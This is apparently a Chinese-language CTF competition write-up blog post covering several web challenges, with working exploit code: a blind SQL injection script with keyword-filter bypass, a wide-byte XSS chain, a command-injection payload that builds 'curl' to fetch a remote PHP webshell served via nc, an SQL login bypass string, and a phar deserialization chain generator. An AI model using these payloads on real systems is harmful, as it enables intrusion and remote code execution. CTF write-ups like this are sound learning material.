不得不说我是真的菜的抠脚
把自己出来的和跟自己有关的题还有做了没做出来的写一下吧

nweb

注册那里有个110的注释,注册type为110之后登上去之后就可以访问flag.php
(不得不说0202年还玩这种睿智套路也是没谁了 当然这个题还不是最睿智的 这边建议easy_trick_gzmtu出题人原地去世
flag.php里有一个盲注
从注表名开始就爆500了
比较16进制和原始字符之后可以发现是对select和from做了替换处理
尝试置空成功 之后就是常规盲注

import requests
url='http://121.37.179.47:1001/search.php'
header={
'Cookie':'PHPSESSID=nmsbsaj2s9ibn7bt09flrjhl27;username=8a9654395c36bc6b8199febca90f5842'
}
flag=''
for i in range(1,127):
    for y in range(30,127):
        data={
          #  'flag':"1' or (ascii(mid(select(user()),{},1))={})#".format(str(i),str(y)) 
             'flag':"1' or (ascii(mid((seselectlect group_concat(table_name) frfromom information_schema.tables where table_schema=database()),{},1))={})#".format(str(i),str(y))
        }
       # print(data['flag'])
        a=requests.post(url,data=data,headers=header)
      #  print(y)
       # print(a.content.decode('utf-8'))
        if "There is flag!" in a.content.decode('utf-8'):
            flag+=chr(y)
            break
    print(flag)
    #database:ctf-2
    #user:ctf2@localhost  select from
    #1' or (ascii(mid((seselectlect group_concat(table_name) frfromom information_schema.tables where table_schema=database()),1,1))=1)%23
    #1' or (ascii(mid((seselectlect group_concat(table_name) frfromom information_schema.tables where table_schema=database()),1,1))>1)%23
    #1' or (ascii(mid((seselectlect group_concat(table_name) frfromom information_schema.tables where table_schema=database()),1,1))=54)%23
    #admin,fl4g,jd,user
#flag in fl4g:

最后可以注出前半段flag 也算个提示 是rogue mysql什么玩意来着 本地没存
然后注出admin密码进去之后有一个客户端数据库 roguemysql连一下 读/var/www/html/flag.php就OK了 可以在第一行找到后半段flag
不过我是个星际玩家 读了好几遍都没看见 以为flag位置要猜
反正就是体验不怎么好的一道题

happyvacation

很顶的一道xss题 也是我第一次比赛做出来xss 不枉我第一天做完简单题就一直看这个114牛逼
git泄露给了源码
代码写的很散 我就挑重点写了

这里是xss触发点
经过一次addslashes过滤 导致引号无法逃逸 这个题目要求就是逃逸引号xss
https://wizardforcel.gitbooks.io/xss-naxienian/content/6.html
这里有宽字节xss相关的文章
而想打宽字节还需要一个gbk的页面编码

这里的header是部分可控的 还有一个点是

这个eval可以把一个属性改为False 由于f被过滤了 只能改pre的 也就是响应的键 Location
我就做到这里,之后的后缀.php不知道怎么处理 就暂时搁置了
再后来跟114师傅交流了思路 114发现可以添加垃圾参数使响应正常执行

114NB114NB114NB
这样整个题目就串在一起了
eval覆盖前缀 referer控制响应 添加垃圾参数设置页面编码为gbk
然后打一个宽字节xss
整个流程:
1.在quiz.php里请求?answer=user->url->pre&referer=Content-type:text/html;charest=gb18030;stg=.php
注意要请求两次才可以覆盖referer
2.index页面打xss %c0'可以逃逸单引号出来 然后执行js语句 由于拿不到引号 用String.fromCharCode转回来
3.发给bot 服务端NC getflag

只找到一个注header的图
做完这个题真是想打死imagin

webct

或许这就是送分题吧(这次我做的都是送分题
phar+roguemysql反序列化 链子简单的一批
坑点在这里

这里的option必须把

这个设为1
还有一个坑点是 这个方法接收的是int。。我没注意看 以为直接字符串就好了

文档根本没有进行详细的描述 不愧是最好的语言 甚至在文档都找不到哪个选项对应哪个数字
为了抢一血我手动爆破了下option的数字 发现8的时候就能rce了
常规题了这就
执行/readflag 交flag 然后发现比一血慢了半分钟 一气呵成

hackme

前半段session反序列化 覆盖session跳转之后打ssrf+hitcon原题命令执行
玄学题 跑了好久才写进去后来经队伍师傅指正是我脚本写错了不是题目的锅
服务端开一个nc -lvp 80 <一句话木马
exp:

import requests
import time
import base64
#author:P3rh4ps
s = requests.session()
url = "http://121.36.222.22:88/login.php"
s.post(url, data={'name':'perhaps'})
url1 = "http://121.36.222.22:88/?page=upload"
s.post(url1, data={'sign':'p3rh4ps|O:4:"info":2:{s:5:"admin";i:1;s:4:"sign";s:0:"";}'})
url3 = "http://121.36.222.22:88/core/index.php"
s.get(url3)

payload = [
 # generate "g> ht- sl" to file "v"
    '>dir',
    '>g\>',
    '>ht-',
    '>sl',
    '*>v',
 # reverse file "v" to file "h", content "ls -th >g"
    '>rev',
    '*v>h',
  # generate "curl p3rh4ps.top>p.php"
    '>\;\\',
    '>p',
    '>ph\\',
    '>p.\\',
    '>\>\\',
    '>op\\',
    '>t\\',
    '>s.\\',
    '>4p\\',
    '>rh\\',
    '>p3\\',
    '>\ \\',
    '>rl\\',
    '>cu\\',
    'sh h',
#经队里师傅指正我跑不出来的原因是我脚本的h和g反了 难怪我忘记clear跑反而出来了 现在已经改正
    'sh g',
]

for i in payload:
    data = {'url':'compress.zlib://data:@127.0.0.1/plain;base64,'+base64.b64encode(i.encode()).decode()}
    r = s.post(url3, data=data)
    print(r.text)
    print(data['url'])
    time.sleep(0.3)

sqlcheckin

很敷衍的原题
username:admin
password:'-0-'

hardphp

这题只找到了链子 没有找到反序列化触发点 从两点看到了五点也没找到 框架代码都快背下来了
就把链子放一下吧

<?php
class Logger
{
    protected $err = [];
    protected $handle;//Upload()

    public function __construct($error)
    {
        $this->handle = new Upload();
        $this->err = $error;
    }
}
class Upload {
    protected $upfile;
    protected $controller;
    protected $userId;
    protected $user;
}
$payload=["P3rh4ps.php"=>"data://text/plain;base64,PD89cGhwaW5mbygpOz8+"];//用短标签绕过write方法的waf
$P3rh4ps=new Logger($payload);
echo serialize($P3rh4ps);
@unlink('shell.phar');
$phar = new Phar("shell.phar"); 
$phar->startBuffering();
$phar -> setStub('GIF89a'.'<?php __HALT_COMPILER();?>');
$phar->setMetadata($P3rh4ps); 
$phar->addFromString("a", "a"); 
$phar->stopBuffering();
?>

链子应该是没有问题的 实在没看到哪里能触发phar

我太菜了 这次结束之后 闭关做自己的事情了。
向yds学习

分类: 技术

0 条评论

发表评论

电子邮件地址不会被公开。 必填项已用*标注